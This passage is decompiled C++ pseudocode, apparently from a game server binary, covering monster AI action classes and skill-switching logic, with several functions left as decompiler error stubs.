*MobTacticElement__MobActionInMove_Cancelable___vftable_[2])(int argument); //----- (004A4650) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionWander::MobActionWander(MobTacticElement::MobActionWander *this) { MobTacticElement::MobActionWander *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (MobTacticElement::MobActionBaseVtbl *)&MobTacticElement::MobActionWander::_vftable_; Metronome::Metronome(&this->maw_ReturnTick); Metronome::Metronome(&v1->maw_SearchTick); Metronome::Metronome(&v1->maw_WanderTick); } // 64D3BC: using guessed type int (__thiscall *MobTacticElement__MobActionWander___vftable_)(MobTacticElement::MobActionBase *, int argument); //----- (004A46B0) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionWander::_MobActionWander(MobTacticElement::MobActionWander *this) { MobTacticElement::MobActionWander *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (MobTacticElement::MobActionBaseVtbl *)&MobTacticElement::MobActionWander::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&this->maw_WanderTick); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->maw_SearchTick); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->maw_ReturnTick); v1->baseclass_0.vfptr = (MobTacticElement::MobActionBaseVtbl *)MobTacticElement::MobActionBase::_vftable_; } // 64D31C: using guessed type int (__stdcall *MobTacticElement__MobActionBase___vftable_[2])(int argument); // 64D3BC: using guessed type int (__thiscall *MobTacticElement__MobActionWander___vftable_)(MobTacticElement::MobActionBase *, int argument); //----- (004A4720) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionTargetting::MobActionTargetting(MobTacticElement::MobActionTargetting *this) { this->baseclass_0.vfptr = (MobTacticElement::MobActionBaseVtbl *)MobTacticElement::MobActionTargetting::_vftable_; } // 64D3DC: using guessed type int (__stdcall *MobTacticElement__MobActionTargetting___vftable_[2])(int argument); //----- (004A4730) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionNoBrain::_MobActionNoBrain(MobTacticElement::MobActionNoBrain *this) { this->baseclass_0.vfptr = (MobTacticElement::MobActionBaseVtbl *)MobTacticElement::MobActionBase::_vftable_; } // 64D31C: using guessed type int (__stdcall *MobTacticElement__MobActionBase___vftable_[2])(int argument); //----- (004A4740) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionTurning::MobActionTurning(MobTacticElement::MobActionTurning *this) { this->baseclass_0.vfptr = (MobTacticElement::MobActionBaseVtbl *)&MobTacticElement::MobActionTurning::_vftable_; } // 64D3FC: using guessed type int (__thiscall *MobTacticElement__MobActionTurning___vftable_)(MobTacticElement::MobActionBase *this, int argument); //----- (004A4750) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionChase::MobActionChase(MobTacticElement::MobActionChase *this) { this->baseclass_0.baseclass_0.vfptr = (MobTacticElement::MobActionBaseVtbl *)&MobTacticElement::MobActionChase::_vftable_; } // 64D41C: using guessed type int (__thiscall *MobTacticElement__MobActionChase___vftable_)(MobTacticElement::MobActionBase *, int argument); //----- (004A4760) -------------------------------------------------------- void __thiscall MobTacticElement::MobAction2Region::MobAction2Region(MobTacticElement::MobAction2Region *this) { this->baseclass_0.vfptr = (MobTacticElement::MobActionBaseVtbl *)&MobTacticElement::MobAction2Region::_vftable_; } // 64D43C: using guessed type int (__thiscall *MobTacticElement__MobAction2Region___vftable_)(MobTacticElement::MobActionBase *this, int argument); //----- (004A4770) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionBackStep::MobActionBackStep(MobTacticElement::MobActionBackStep *this) { this->baseclass_0.baseclass_0.vfptr = (MobTacticElement::MobActionBaseVtbl *)&MobTacticElement::MobActionBackStep::_vftable_; } // 64D45C: using guessed type int (__thiscall *MobTacticElement__MobActionBackStep___vftable_)(MobTacticElement::MobActionBase *this, int argument); //----- (004A4780) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionAvoidOverlap::MobActionAvoidOverlap(MobTacticElement::MobActionAvoidOverlap *this) { this->baseclass_0.baseclass_0.vfptr = (MobTacticElement::MobActionBaseVtbl *)&MobTacticElement::MobActionAvoidOverlap::_vftable_; } // 64D47C: using guessed type void *MobTacticElement__MobActionAvoidOverlap___vftable_; //----- (004A4790) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionWaitSkillEnd::MobActionWaitSkillEnd(MobTacticElement::MobActionWaitSkillEnd *this) { this->baseclass_0.vfptr = (MobTacticElement::MobActionBaseVtbl *)MobTacticElement::MobActionWaitSkillEnd::_vftable_; } // 64D49C: using guessed type int (__stdcall *MobTacticElement__MobActionWaitSkillEnd___vftable_[2])(int argument); //----- (004A47A0) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionSwingDamage::MobActionSwingDamage(MobTacticElement::MobActionSwingDamage *this) { this->baseclass_0.vfptr = (MobTacticElement::MobActionBaseVtbl *)MobTacticElement::MobActionSwingDamage::_vftable_; } // 64D4BC: using guessed type int (__stdcall *MobTacticElement__MobActionSwingDamage___vftable_[2])(int argument); //----- (004A47B0) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionRoaming::MobActionRoaming(MobTacticElement::MobActionRoaming *this) { this->baseclass_0.vfptr = (MobTacticElement::MobActionBaseVtbl *)&MobTacticElement::MobActionRoaming::_vftable_; } // 64D4DC: using guessed type int (__thiscall *MobTacticElement__MobActionRoaming___vftable_)(MobTacticElement::MobActionBase *, int argument); //----- (004A47C0) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionNoBrain::MobActionNoBrain(MobTacticElement::MobActionNoBrain *this) { this->baseclass_0.vfptr = (MobTacticElement::MobActionBaseVtbl *)MobTacticElement::MobActionNoBrain::_vftable_; } // 64D4FC: using guessed type int (__stdcall *MobTacticElement__MobActionNoBrain___vftable_[2])(int argument); //----- (004A47D0) -------------------------------------------------------- #error "4A47D0: undefined or illegal type '#615' (funcsize=8)" //----- (004A47F0) -------------------------------------------------------- MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionBase::mab_TargetChange(MobTacticElement::MobActionBase *this, MobTacticElement::MobActionArgument *argument) { return &MobTacticElement::MobActionArgument::Actor::targetting; } //----- (004A4800) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::sm_NextAttackSequence(int this) { int v1; // eax@1 MobAttackSequence::AttackElement4Mob *v2; // ecx@1 v1 = this; v2 = *(MobAttackSequence::AttackElement4Mob **)(this + 7684); if ( v2 ) MobAttackSequence::AttackElement4Mob::ae4m_NextSkill(v2, (int *)(v1 + 7688)); } //----- (004A4820) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionArgument::Actor::SetTargetPoint(MobTacticElement::MobActionArgument::Actor *this, #593 **ppTargetObject) { MobTacticElement::MobActionArgument::Actor *v2; // esi@1 v2 = this; ((void (__stdcall *)(_DWORD))this->inmove.baseclass_0.vfptr->mb_SetTargetPoint)(ppTargetObject); v2->inmove_cancelable.baseclass_0.baseclass_0.vfptr->mb_SetTargetPoint( (MobTacticElement::MobActionBase *)&v2->inmove_cancelable, ppTargetObject); v2->inmove_chase.baseclass_0.vfptr->mb_SetTargetPoint( (MobTacticElement::MobActionBase *)&v2->inmove_chase, ppTargetObject); v2->wander.baseclass_0.vfptr->mb_SetTargetPoint((MobTacticElement::MobActionBase *)&v2->wander, ppTargetObject); v2->attack.baseclass_0.baseclass_0.vfptr->mb_SetTargetPoint( (MobTacticElement::MobActionBase *)&v2->attack, ppTargetObject); v2->chase.baseclass_0.baseclass_0.vfptr->mb_SetTargetPoint( (MobTacticElement::MobActionBase *)&v2->chase, ppTargetObject); v2->backstep.baseclass_0.baseclass_0.vfptr->mb_SetTargetPoint( (MobTacticElement::MobActionBase *)&v2->backstep, ppTargetObject); v2->avoidoverlap.baseclass_0.baseclass_0.vfptr->mb_SetTargetPoint( (MobTacticElement::MobActionBase *)&v2->avoidoverlap, ppTargetObject); v2->waitskillend.baseclass_0.vfptr->mb_SetTargetPoint( (MobTacticElement::MobActionBase *)&v2->waitskillend, ppTargetObject); v2->swingdamage.baseclass_0.vfptr->mb_SetTargetPoint( (MobTacticElement::MobActionBase *)&v2->swingdamage, ppTargetObject); v2->turning.baseclass_0.vfptr->mb_SetTargetPoint((MobTacticElement::MobActionBase *)&v2->turning, ppTargetObject); } //----- (004A48B0) -------------------------------------------------------- #error "4A48B0: undefined or illegal type '#593' (funcsize=24)" //----- (004A48F0) -------------------------------------------------------- TickTimer *__cdecl std::_Copy_backward_opt(TickTimer *_First, TickTimer *_Last, TickTimer *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { TickTimer *v4; // ecx@1 TickTimer *result; // eax@1 v4 = _Last; for ( result = _Dest; v4 != _First; *(_DWORD *)&result->m_bEnable = *(_DWORD *)&v4->m_bEnable ) { --v4; --result; result->m_CurDelayTime = v4->m_CurDelayTime; result->m_DelayTime = v4->m_DelayTime; } return result; } //----- (004A4930) -------------------------------------------------------- #error "4A4930: undefined or illegal type '#615' (funcsize=100)" //----- (004A4AA0) -------------------------------------------------------- MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionBase::mab_Think(MobTacticElement::MobActionBase *this, MobTacticElement::MobActionArgument *argument) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobTacticElement::MobActionBase::mab_Think"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobTacticElement::MobActionBase::mab_Think"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobTacticElement::MobActionBase::mab_Think"); return &MobTacticElement::MobActionArgument::Actor::targetting; } //----- (004A4AF0) -------------------------------------------------------- #error "4A4AF0: undefined or illegal type '#615' (funcsize=83)" //----- (004A4C40) -------------------------------------------------------- #error "4A4C40: undefined or illegal type '#615' (funcsize=53)" //----- (004A4D20) -------------------------------------------------------- #error "4A4D20: undefined or illegal type '#615' (funcsize=45)" //----- (004A4DE0) -------------------------------------------------------- MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionWander::maw_MetronomeReset(MobTacticElement::MobActionWander *this) { MobTacticElement::MobActionWander *v1; // esi@1 unsigned int v2; // eax@1 unsigned int v3; // ecx@1 unsigned int v4; // edx@1 unsigned int v5; // eax@1 unsigned int v6; // eax@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobTacticElement::MobActionWander::maw_MetronomeReset"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobTacticElement::MobActionWander::maw_MetronomeReset"; v2 = rndbox.rb_box[10].rs_point.value; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; rndbox.rb_box[10].rs_point.value = rndbox.rb_box[10].rs_point.mask & (v2 + 1); v3 = clockwatch.cw_CurrTick; v4 = (unsigned int)(10000 * ((unsigned int)rndbox.rb_box[10].rs_slot[rndbox.rb_box[10].rs_point.value] + 55) * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3) >> 32) >> 6; v1->maw_ReturnTick.m_TickInterval = v4; v1->maw_ReturnTick.m_NextTick = v3 + v4; v5 = clockwatch.cw_CurrTick + 10; v1->maw_SearchTick.m_TickInterval = 10; v1->maw_SearchTick.m_NextTick = v5; v6 = clockwatch.cw_CurrTick + 10; v1->maw_WanderTick.m_TickInterval = 10; v1->maw_WanderTick.m_NextTick = v6; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobTacticElement::MobActionWander::maw_MetronomeReset"); return (MobTacticElement::MobActionBase *)v1; } //----- (004A4EA0) -------------------------------------------------------- #error "4A4EA0: undefined or illegal type '#593' (funcsize=25)" //----- (004A4F20) -------------------------------------------------------- #error "4A4F20: undefined or illegal type '#593' (funcsize=25)" //----- (004A4F90) -------------------------------------------------------- char __thiscall MobTacticElement::MobActionBase::mab_SkillRegistAtScript(MobTacticElement::MobActionBase *this, #593 *a2, unsigned __int16 skl, int k) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobTacticElement::MobActionBase::mab_SkillRegistAtScript"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobTacticElement::MobActionBase::mab_SkillRegistAtScript"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobTacticElement::MobActionBase::mab_SkillRegistAtScript"); return 0; } //----- (004A4FE0) -------------------------------------------------------- #error "4A4FE0: undefined or illegal type '#593' (funcsize=25)" //----- (004A5060) -------------------------------------------------------- #error "4A5060: undefined or illegal type '#593' (funcsize=20)" //----- (004A50C0) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionAttack::MobActionAttack(MobTacticElement::MobActionAttack *this) { this->baseclass_0.baseclass_0.vfptr = (MobTacticElement::MobActionBaseVtbl *)&MobTacticElement::MobActionAttack::_vftable_; this->mat_NextAttackTick = 0; MobTacticElement::MobActionAttack::maa_SkillFromScriptClear(this); } // 64D76C: using guessed type int (__thiscall *MobTacticElement__MobActionAttack___vftable_)(MobTacticElement::MobActionAttack *this, int argument); //----- (004A5110) -------------------------------------------------------- #error "4A5110: undefined or illegal type '#615' (funcsize=127)" //----- (004A52C0) -------------------------------------------------------- #error "4A52C0: undefined or illegal type '#615' (funcsize=133)" //----- (004A5480) -------------------------------------------------------- #error "4A5480: undefined or illegal type '#615' (funcsize=305)" //----- (004A5900) -------------------------------------------------------- #error "4A5900: undefined or illegal type '#615' (funcsize=207)" //----- (004A5BB0) -------------------------------------------------------- #error "4A5BB0: undefined or illegal type '#615' (funcsize=91)" //----- (004A5CA0) -------------------------------------------------------- #error "4A5CA0: undefined or illegal type '#615' (funcsize=93)" //----- (004A5E20) -------------------------------------------------------- #error "4A5E20: undefined or illegal type '#615' (funcsize=272)" //----- (004A64D0) -------------------------------------------------------- #error "4A64D0: undefined or illegal type '#615' (funcsize=75)" //----- (004A65D0) -------------------------------------------------------- #error "4A65D0: undefined or illegal type '#615' (funcsize=252)" //----- (004A6910) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMob::sm_SkillExchange_OutOfRange(void *this) { void *v1; // ebp@1 int v2; // eax@1 int v3; // eax@2 int v4; // ecx@3 signed __int16 v5; // di@4 int v6; // edx@6 unsigned __int16 v7; // bx@6 unsigned __int16 v8; // cx@6 int v9; // eax@8 unsigned __int16 v10; // si@8 bool v11; // cf@8 int v12; // eax@9 bool v13; // zf@9 int v14; // eax@9 int v15; // eax@10 int v16; // eax@14 int v17; // eax@15 char result; // al@19 int v19; // eax@20 signed int v20; // ecx@20 int v21; // edi@21 int v22; // eax@25 signed __int16 curskill; // [sp+Ch] [bp-18h]@6 unsigned __int16 v24; // [sp+10h] [bp-14h]@6 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_SkillExchange_OutOfRange"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::sm_SkillExchange_OutOfRange"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_DWORD *)v1 + 1921); if ( v2 && (v3 = *(_DWORD *)(v2 + 4676)) != 0 ) { v4 = *((_DWORD *)v1 + 1920); if ( v4 ) v5 = *(_WORD *)(*(_DWORD *)(*((_DWORD *)v1 + 1914) + 8) + 12 * v4 + 4); else v5 = -1; v6 = *(_DWORD *)(v3 + 8); v7 = *(_WORD *)(v3 + 4); v8 = *(_WORD *)(v6 + 12 * *(_WORD *)(v3 + 14) + 4); curskill = v5; v24 = *(_WORD *)(v3 + 4); do { if ( v8 >= v7 ) goto LABEL_30; v9 = v8; v10 = v8; v11 = v8 < v7; v8 = *(_WORD *)(v6 + 12 * v8 + 4); if ( !v11 || (v12 = 3 * v9, v13 = *(_BYTE *)(v6 + 4 * v12 + 8) == 0, v14 = v6 + 4 * v12, v13) ) v15 = 0; else v15 = *(_DWORD *)v14; } while ( *(_WORD *)v15 != v5 ); if ( v10 < v7 && (v16 = v6 + 12 * v10, *(_BYTE *)(v16 + 8)) ) v17 = *(_DWORD *)v16; else v17 = 0; if ( *(_WORD *)(v17 + 2) == -1 ) { *((_DWORD *)v1 + 1920) = 0; LABEL_19: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_SkillExchange_OutOfRange"); return 1; } v19 = *((_DWORD *)v1 + 1914); v20 = 1; if ( *(_DWORD *)(v19 + 12) > 1 ) { v21 = *(_DWORD *)(v19 + 8) + 16; while ( 1 ) { v22 = v10 < v7 && *(_BYTE *)(v6 + 12 * v10 + 8) ? *(_DWORD *)(v6 + 12 * v10) : 0; if ( *(_WORD *)v21 == *(_WORD *)(v22 + 2) ) break; ++v20; v21 += 12; if ( v20 >= *(_DWORD *)(*((_DWORD *)v1 + 1914) + 12) ) goto LABEL_29; v7 = v24; } *((_DWORD *)v1 + 1920) = v20; goto LABEL_19; } LABEL_29: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShineMob::sm_SkillExchange_OutOfRange : Changed skill not found", (unsigned __int16)curskill); LABEL_30: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_SkillExchange_OutOfRange"); result = 0; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_SkillExchange_OutOfRange"); result = 0; } return result; } //----- (004A6B40) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMob::sm_SkillExchange_HPLow(void *this) { void *v1; // ebp@1 int v2; // eax@1 int v3; // ecx@2 int v4; // eax@3 unsigned __int16 v5; // si@6 unsigned __int16 v6; // di@8 int v7; // ecx@9 int v8; // eax@9 unsigned __int16 v9; // dx@9 bool v10; // cf@9 int v11; // edx@11 int v12; // eax@15 int v13; // edi@16 unsigned int v14; // edi@18 int v15; // eax@20 int v16; // eax@21 char result; // al@25 int v18; // eax@26 signed int v19; // ecx@26 int v20; // edx@27 int v21; // edi@29 int v22; // eax@30 int v23; // [sp+Ch] [bp-24h]@2 signed __int16 curskill; // [sp+10h] [bp-20h]@4 unsigned __int16 lt; // [sp+18h] [bp-18h]@9 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_SkillExchange_HPLow"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::sm_SkillExchange_HPLow"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_DWORD *)v1 + 1921); if ( v2 && (v3 = *(_DWORD *)(v2 + 4680), v23 = *(_DWORD *)(v2 + 4680), v3) ) { v4 = *((_DWORD *)v1 + 1920); if ( v4 ) curskill = *(_WORD *)(*(_DWORD *)(*((_DWORD *)v1 + 1914) + 8) + 12 * v4 + 4); else curskill = -1; v5 = *(_WORD *)(*(_DWORD *)(v3 + 8) + 12 * *(_WORD *)(v3 + 14) + 4); while ( 1 ) { v6 = *(_WORD *)(v3 + 4); if ( v5 >= v6 ) goto LABEL_35; v7 = *(_DWORD *)(v3 + 8); v8 = v5; v9 = v5; v10 = v5 < v6; v5 = *(_WORD *)(v7 + 12 * v5 + 4); lt = v9; if ( v10 && *(_BYTE *)(v7 + 12 * v8 + 8) ) v11 = *(_DWORD *)(v7 + 12 * v8); else v11 = 0; if ( *(_WORD *)v11 == curskill ) { if ( lt < v6 && (v12 = v7 + 12 * v8, *(_BYTE *)(v12 + 8)) ) v13 = *(_DWORD *)v12; else v13 = 0; v14 = (unsigned int)((unsigned int)(*(_DWORD *)(v13 + 4) * (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1260))(v1)) * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3) >> 32) >> 6; if ( (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1252))(v1) < v14 ) break; } v3 = v23; } if ( lt < *(_WORD *)(v23 + 4) && (v15 = *(_DWORD *)(v23 + 8) + 12 * lt, *(_BYTE *)(v15 + 8)) ) v16 = *(_DWORD *)v15; else v16 = 0; if ( *(_WORD *)(v16 + 2) == -1 ) { *((_DWORD *)v1 + 1920) = 0; LABEL_25: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_SkillExchange_HPLow"); return 1; } v18 = *((_DWORD *)v1 + 1914); v19 = 1; if ( *(_DWORD *)(v18 + 12) > 1 ) { v20 = *(_DWORD *)(v18 + 8) + 16; while ( 1 ) { if ( lt < *(_WORD *)(v23 + 4) && (v21 = *(_DWORD *)(v23 + 8), *(_BYTE *)(v21 + 12 * lt + 8)) ) v22 = *(_DWORD *)(v21 + 12 * lt); else v22 = 0; if ( *(_WORD *)v20 == *(_WORD *)(v22 + 2) ) break; ++v19; v20 += 12; if ( v19 >= *(_DWORD *)(*((_DWORD *)v1 + 1914) + 12) ) goto LABEL_34; } *((_DWORD *)v1 + 1920) = v19; goto LABEL_25; } LABEL_34: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShineMob::sm_SkillExchange_HPLow : Changed skill not found", (unsigned __int16)curskill); LABEL_35: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_SkillExchange_HPLow"); result = 0; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_SkillExchange_HPLow"); result = 0; } return result; } //----- (004A6DD0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMob::sm_SkillExchange_TargetState(void *this, int a2) { void *v2; // esi@1 int v3; // eax@1 int v4; // ecx@2 int v5; // eax@3 signed __int16 v6; // bx@4 unsigned __int16 v7; // si@6 unsigned __int16 v8; // di@8 int v9; // ecx@9 int v10; // eax@9 unsigned __int16 v11; // bp@9 bool v12; // cf@9 int v13; // edx@11 int v14; // eax@15 int v15; // eax@16 int v16; // eax@20 int v17; // eax@21 char result; // al@25 int v19; // eax@26 signed int v20; // ecx@26 int v21; // edx@27 int v22; // eax@29 int v23; // eax@30 int v24; // [sp+Ch] [bp-1Ch]@2 void *v25; // [sp+10h] [bp-18h]@1 v2 = this; v25 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_SkillExchange_TargetState"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::sm_SkillExchange_TargetState"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *((_DWORD *)v2 + 1921); if ( v3 && (v4 = *(_DWORD *)(v3 + 4684), v24 = *(_DWORD *)(v3 + 4684), v4) ) { v5 = *((_DWORD *)v2 + 1920); if ( v5 ) v6 = *(_WORD *)(*(_DWORD *)(*((_DWORD *)v2 + 1914) + 8) + 12 * v5 + 4); else v6 = -1; v7 = *(_WORD *)(*(_DWORD *)(v4 + 8) + 12 * *(_WORD *)(v4 + 14) + 4); while ( 1 ) { v8 = *(_WORD *)(v4 + 4); if ( v7 >= v8 ) goto LABEL_35; v9 = *(_DWORD *)(v4 + 8); v10 = v7; v11 = v7; v12 = v7 < v8; v7 = *(_WORD *)(v9 + 12 * v7 + 4); if ( v12 && *(_BYTE *)(v9 + 12 * v10 + 8) ) v13 = *(_DWORD *)(v9 + 12 * v10); else v13 = 0; if ( *(_WORD *)v13 == v6 ) { if ( v11 < v8 && (v14 = v9 + 12 * v10, *(_BYTE *)(v14 + 8)) ) v15 = *(_DWORD *)v14; else v15 = 0; if ( (*(int (__stdcall **)(_DWORD))(*(_DWORD *)a2 + 1000))(*(_DWORD *)(v15 + 4)) ) break; } v4 = v24; } if ( v11 < *(_WORD *)(v24 + 4) && (v16 = *(_DWORD *)(v24 + 8) + 12 * v11, *(_BYTE *)(v16 + 8)) ) v17 = *(_DWORD *)v16; else v17 = 0; if ( *(_WORD *)(v17 + 2) == -1 ) { *((_DWORD *)v25 + 1920) = 0; LABEL_25: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_SkillExchange_TargetState"); return 1; } v19 = *((_DWORD *)v25 + 1914); v20 = 1; if ( *(_DWORD *)(v19 + 12) > 1 ) { v21 = *(_DWORD *)(v19 + 8) + 16; while ( 1 ) { if ( v11 < *(_WORD *)(v24 + 4) && (v22 = *(_DWORD *)(v24 + 8) + 12 * v11, *(_BYTE *)(v22 + 8)) ) v23 = *(_DWORD *)v22; else v23 = 0; if ( *(_WORD *)v21 == *(_WORD *)(v23 + 2) ) break; ++v20; v21 += 12; if ( v20 >= *(_DWORD *)(*((_DWORD *)v25 + 1914) + 12) ) goto LABEL_34; } *((_DWORD *)v25 + 1920) = v20; goto LABEL_25; } LABEL_34: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShineMob::sm_SkillExchange_TargetState\t : Changed skill not found", (unsigned __int16)v6); LABEL_35: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_SkillExchange_TargetState"); result = 0; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_SkillExchange_TargetState"); result = 0; } return result; } //----- (004A7040) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMob::sm_SkillExchange_HPLow_ChangeOrder(int this) { int v1; // ebx@1 int v2; // eax@1 char result; // al@2 int v4; // ebp@3 unsigned __int16 i; // ax@4 unsigned __int16 v6; // dx@6 int v7; // esi@7 unsigned __int16 v8; // di@7 bool v9; // cf@7 int v10; // eax@7 int v11; // ecx@9 char v12; // cl@13 int v13; // eax@13 int v14; // edi@14 unsigned int v15; // edi@16 int v16; // eax@18 int v17; // eax@19 int v18; // eax@23 signed int v19; // edx@23 int v20; // ecx@24 int v21; // edi@26 int v22; // eax@27 unsigned __int16 lt; // [sp+4h] [bp-Ch]@7 unsigned __int16 v24; // [sp+6h] [bp-Ah]@7 v1 = this; v2 = *(_DWORD *)(this + 7684); if ( v2 ) { v4 = *(_DWORD *)(v2 + 7140); if ( v4 ) { for ( i = *(_WORD *)(*(_DWORD *)(v4 + 8) + 12 * *(_WORD *)(v4 + 14) + 4); ; i = v24 ) { v6 = *(_WORD *)(v4 + 4); if ( i >= v6 ) break; v7 = i; v8 = i; v9 = i < v6; v10 = *(_DWORD *)(v4 + 8); lt = v8; v24 = *(_WORD *)(v10 + 12 * v7 + 4); if ( v9 && *(_BYTE *)(v10 + 12 * v7 + 8) ) v11 = *(_DWORD *)(v10 + 12 * v7); else v11 = 0; if ( *(_DWORD *)(v11 + 8) == *(_DWORD *)(v1 + 7688) ) { if ( v8 < v6 && (v12 = *(_BYTE *)(v10 + 12 * v7 + 8), v13 = v10 + 12 * v7, v12) ) v14 = *(_DWORD *)v13; else v14 = 0; v15 = (unsigned int)((unsigned int)(*(_DWORD *)(v14 + 4) * (*(int (__thiscall **)(int))(*(_DWORD *)v1 + 1260))(v1)) * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3) >> 32) >> 6; if ( (*(int (__thiscall **)(int))(*(_DWORD *)v1 + 1252))(v1) < v15 ) { if ( lt < *(_WORD *)(v4 + 4) && (v16 = *(_DWORD *)(v4 + 8) + 12 * v7, *(_BYTE *)(v16 + 8)) ) v17 = *(_DWORD *)v16; else v17 = 0; if ( *(_WORD *)(v17 + 2) == -1 ) *(_DWORD *)(v1 + 7680) = 0; v18 = *(_DWORD *)(v1 + 7656); v19 = 1; if ( *(_DWORD *)(v18 + 12) > 1 ) { v20 = *(_DWORD *)(v18 + 8) + 16; while ( 1 ) { if ( lt < *(_WORD *)(v4 + 4) && (v21 = *(_DWORD *)(v4 + 8), *(_BYTE *)(v21 + 12 * v7 + 8)) ) v22 = *(_DWORD *)(v21 + 12 * v7); else v22 = 0; if ( *(_WORD *)v20 == *(_WORD *)(v22 + 2) ) break; ++v19; v20 += 12; if ( v19 >= *(_DWORD *)(*(_DWORD *)(v1 + 7656) + 12) ) goto LABEL_5; } *(_DWORD *)(v1 + 7680) = v19; return 1; } } } LABEL_5: ; } } result = 0; } else { result = 0; } return result; } //----- (004A71C0) -------------------------------------------------------- TickTimer *__cdecl std::_Uninit_copy>(TickTimer *_First, TickTimer *_Last, TickTimer *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { TickTimer *v5; // ecx@1 TickTimer *result; // eax@1 v5 = _First; for ( result = _Dest; v5 != _Last; ++result ) { if ( result ) { result->m_CurDelayTime = v5->m_CurDelayTime; result->m_DelayTime = v5->m_DelayTime; *(_DWORD *)&result->m_bEnable = *(_DWORD *)&v5->m_bEnable; } ++v5; } return result; } //----- (004A7200) -------------------------------------------------------- #error "4A7200: undefined or illegal type '#615' (funcsize=201)" //----- (004A74C0) -------------------------------------------------------- #error "4A74C0: undefined or illegal type '#615' (funcsize=757)" //----- (004A7E80) -------------------------------------------------------- #error "4A7E80: undefined or illegal type '#615' (funcsize=152)" //----- (004A8080) -------------------------------------------------------- void __cdecl 